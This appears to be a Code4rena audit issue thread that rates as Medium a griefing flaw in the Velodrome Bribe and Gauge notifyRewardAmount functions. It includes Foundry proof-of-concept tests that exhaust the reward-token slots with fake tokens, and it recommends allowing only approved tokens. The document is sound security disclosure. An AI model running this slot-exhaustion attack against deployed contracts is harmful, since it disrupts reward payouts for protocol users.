Upgraded Q -> M from 164 [1657055445786]

[code423n4]

Judge has assessed an item in Issue #164 as Medium risk. The relevant finding follows:

[GalloDaSballo]

Griefing/denial of service in notifyRewardAmount Both Bribe#notifyRewardAmount and Gauge#notifyRewardAmount are unrestricted external functions that add the provided token as an approved reward if it does not already exist. A malicious caller can grief rewards functionality by calling these functions to add the maximum number of reward tokens on a new gauge/bribe contract, or set malicious tokens that revert or waste gas as rewards.

The team does have the ability to retroactively swap out misbehaving or malicious tokens, so the impact of this attack is limited, but they would have to detect and prevent potential griefing attacks for every new gauge/bribe.

Bribe#notifyRewardAmount

function notifyRewardAmount(address token, uint amount) external lock { ...

  if (!isReward[token]) {
      isReward[token] = true;
      rewards.push(token);
      IGauge(gauge).addBribeRewardToken(token);
  }

  ...

} Gauge#notifyRewardAmount

function notifyRewardAmount(address token, uint amount) external lock {
    ...

    if (!isReward[token]) {
        isReward[token] = true;
        rewards.push(token);
        IBribe(bribe).addRewardToken(token);
    }

    ...
}

Test cases (added to Bribes.t.sol):

function testNotifyRewardAmountGaugeDoS() public {
    // Three rewards tokens already exist from test setup
    for (uint256 i; i < 13; ++i) {
      // Create a fake token
      MockERC20 token = new MockERC20("DoS", "DOS", 18);
      // Mint a sufficient amount to call notifyRewardAmount
      // on the Gauge contract
      token.mint(address(this), 10_000 ether);
      token.approve(address(gauge), 10_000 ether);
      // Call notifyRewardAmount and deposit
      gauge.notifyRewardAmount(address(token), 10_000 ether);
    }
    // Attempt to add a new token
    MockERC20 newToken = new MockERC20("Legit", "LEGIT", 18);
    newToken.mint(address(this), 1);
    newToken.approve(address(gauge), 1);
    vm.prank(address(bribe));
    vm.expectRevert("too many rewards tokens");
    gauge.addBribeRewardToken(address(newToken));
}

function testNotifyRewardAmountBribeDoS() public {
    // Three rewards tokens already exist from test setup
    for (uint256 i; i < 13; ++i) {
      // Create a fake token
      MockERC20 token = new MockERC20("DoS", "DOS", 18);
      token.mint(address(this), 1);
      token.approve(address(bribe), 1);
      // Call notifyRewardAmount and deposit 1 wei
      bribe.notifyRewardAmount(address(token), 1);
    }
    // Attempt to add a new token
    MockERC20 newToken = new MockERC20("Legit", "LEGIT", 18);
    newToken.mint(address(this), 1);
    newToken.approve(address(bribe), 1);
    vm.prank(address(gauge));
    vm.expectRevert("too many rewards tokens");
    bribe.addRewardToken(address(newToken));
}

Recommendation: allow only approved tokens as rewards.

[GalloDaSballo]

Dup of https://github.com/code-423n4/2022-05-velodrome-findings/issues/68